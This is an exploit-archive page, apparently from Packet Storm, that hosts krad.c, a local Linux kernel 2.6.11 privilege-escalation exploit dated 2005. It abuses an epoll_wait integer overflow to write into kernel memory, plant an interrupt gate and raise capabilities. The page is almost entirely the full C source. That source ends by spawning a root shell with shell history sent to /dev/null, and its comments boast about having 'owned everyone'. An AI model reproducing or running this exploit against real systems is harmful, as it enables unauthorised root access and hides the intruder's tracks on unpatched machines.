exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

krad.c

krad.c
Posted Mar 22, 2005
Site hysteria.sk

Local exploit for linux 2.6.11 and below. Kernel memory can be overwritten because of an integer overflow in sys_epoll_wait, and "misuse of __put_user in ep_send events".

tags | exploit, overflow, kernel, local
systems | linux
SHA-256 | fc9331fe6b0eebcc26317aaac23265807b069e0b82669096d868b41bb4e299df

krad.c

Change Mirror Download
/*
* k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2
* Discovered and exploit coded Jan 2005 by sd <sd@fucksheep.org>
*
* In memory of pwned.c (uselib)
*
* - Redistributions of source code is not permitted.
* - Redistributions in the binary form is not permitted.
* - Redistributions of the above copyright notice, this list of conditions,
* and the following disclaimer is permitted.
* - By proceeding to a Redistribution and under any form of the Program
* the Distributor is granting ownership of his Resources without
* limitations to the copyright holder(s).
*
* ## NO LONGER PRIVATE
* ## PLACING ON ANY PUBLIC URL EXCEPT https://hysteria.cz/~sd/codez PROHIBITED
*
* Since we already owned everyone, theres no point keeping this private
* anymore.
*
* https://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
* Thanks to our internet hero georgi guninski for being such incredible
* whitehat disclosing one of the most reliable kernel bugs.
* You saved the world, man, we owe you one!
*
* This version is somewhat broken, but skilled reader will get an idea.
* Well, at least let the scriptkids have fun for a while.
*
* Thanks to all who helped me developing/testing this, you know who you are,
* and especially to my gf for guidance while coding this.
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <asm/unistd.h>
#define __USE_GNU
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <string.h>


#define KRS "\033[1;30m[ \033[1;37m"
#define KRE "\033[1;30m ]\033[0m"
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "

#define MAP (0xfffff000 - (1023*4096))
#define MAP_PAE (0xfffff000 - (511*4096))
#define MKPTE(addr) ((addr & (~4095)) | 0x27)

#define SET_IDT_GATE(idt,ring,s,addr) \
(idt).off1 = addr & 0xffff; \
(idt).off2 = addr >> 16; \
(idt).sel = s; \
(idt).none = 0; \
(idt).flags = 0x8E | (ring << 5); \

struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));

struct idt {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed));

unsigned long long *clear1, *clear2;

#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)

#define _capget_macro(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ( "int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
__syscall_return(type,__res); \
}

static inline _capget_macro(int,capget,void *,a,void *,b);
void raise_cap(unsigned long *ts)
{
/* must be on lower addresses because of kernel arg check :) */
static struct __user_cap_header_struct head;
static struct __user_cap_data_struct data;
static struct __user_cap_data_struct n;
int i;

*clear1 = 0;
*clear2 = 0;
head.version = 0x19980330;
head.pid = 0;
capget(&head, &data);
/* scan the thread_struct */
for (i = 0; i < 512; i++, ts++) {
/* is it capabilities block? */
if ((ts[0] == data.effective) &&
(ts[1] == data.inheritable) &&
(ts[2] == data.permitted)) {
/* set effective cap to some val */
ts[0] = 0x12341234;
capget(&head, &n);
/* and test if it has changed */
if (n.effective == ts[0]) {
/* if so, we're in :) */
ts[0] = ts[1] = ts[2] = 0xffffffff;
return;
}
/* otherwise fix back the stuff
(if we've not crashed already :) */
ts[0] = data.effective;
}
}
return;
}

extern void stub;
asm (
"stub:;"
" pusha;"
" mov $-8192, %eax;"
" and %esp, %eax;"
" pushl (%eax);"
" call raise_cap;"
" pop %eax;"
" popa;"
" iret;"
);

/* write to kernel from buf, num bytes */
#define DIV 256
#define RES 4
int kwrite(unsigned base, char *buf, int num)
{
int efd, c, i, fd;
int pi[2];
struct epoll_event ev;
int *stab;
unsigned long ptr;
int count;
unsigned magic = 0xffffffff / 12 + 1;

/* initialize epoll */
efd = epoll_create(4096);
if (efd < 0)
return -1;
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;

/* 12 bytes per fd + one more to be safely in stack space */
count = (num+11)/12+RES;

/* desc array */
stab = alloca((count+DIV-1)/DIV*sizeof(int));
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) {
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
return -1;
send(pi[0], "a", 1, 0);
stab[i] = pi[1];
}
/* highest fd and first descriptor */
fd = pi[1];
/* we've to allocate this separately because we need to have
it's fd preserved - using this we'll be writing actual bytes */
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
for (i = 0, c = 0; i < (count-1); i++) {
int n;
n = dup2(stab[i/DIV], fd+2+(i % DIV));
if (n < 0)
return -1;
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
close(n);
}
/* in 'n' we've the latest fd we're using to write data */
for (i = 0; i < ((num+7)/8); i++) {
/* data being written from end */
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);

/* the actual kernel magic */
ptr = (base + num - (i*8)) - (count * 12);
epoll_wait(efd, (void *) ptr, magic, 31337);
/* don't ask why (rotten rb-trees) :) */
if (i)
epoll_wait(efd, (void *)ptr, magic, 31337);
}

close(efd);
for (i = 3; i <= fd; i++)
close(i);
return 0;
}

/* real-mode interrupt table fixup - point all interrupts to iret.
let's hope this will shut up apm */
void fixint(char *buf)
{
unsigned *tab = (void *) buf;
int i;

for (i = 0; i < 256; i++)
tab[i] = 0x0000400; /* 0000:0400h */
/* iret */
buf[0x400] = 0xcf;
}

/* establish pte pointing to virtual addr 'addr' */
int map_pte(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 8);
buf[pagenr * 1024] = MKPTE(addr);
buf[pagenr * 1024+1] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
}

void error(int d)
{
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n"
KRAD "Try increase nrpages?\n");
exit(1);
}

int exploit(char *top, int npages, int pae)
{
struct idt *idt;
struct idtr idtr;
unsigned base;
char *argv[] = { "k-rad", NULL };
char *envp[] = { "TERM=linux", "PS1=k-rad\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };

signal(SIGSEGV, error);
signal(SIGBUS, error);

/* first compute kernel base */
base = (unsigned long) top;
base += 0x0fffffff;
base &= 0xf0000000;

/* get idt descriptor addr */
asm ("sidt %0" : "=m" (idtr));

/* get the pte in */
map_pte(base, npages, idtr.base - base);

idt = pae?(void *)MAP_PAE:(void *)MAP;

/* cleanup the stuff to prevent others spotting the gate
- must be done from ring 0 */
clear1 = (void *) &idt[0x7f];
clear2 = (void *) (base + npages * 4096);

SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));

/* call raise_cap */
asm ("int $0x7f");

printf(KRADP "j00 1u(k7 k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execve("/bin/sh", argv, envp);
exit(0);
}

int main(int argc, char **argv)
{
char eater[65536];
int npages = 1;

/* unlink(argv[0]); */
// sync();
printf(KRS " k-rad.c - linux 2.6.* CPL 0 kernel exploit " KRE "\n"
KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n");
if (argc == 2) {
npages = atoi(argv[1]);
if (!npages) {
printf(KRADM "Use: %s [number of pages]\n"
"Increase from 1 to 5, use negative number for pae (from -1 to -5).\n"
"The higher number the more likely it will crash\n", argv[0]);
return 1;
}
printf(KRAD "Overwriting %d pages\n", npages<0?-npages:npages);
}

exploit(eater, npages<0?-npages:npages,npages<0);
return 0;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close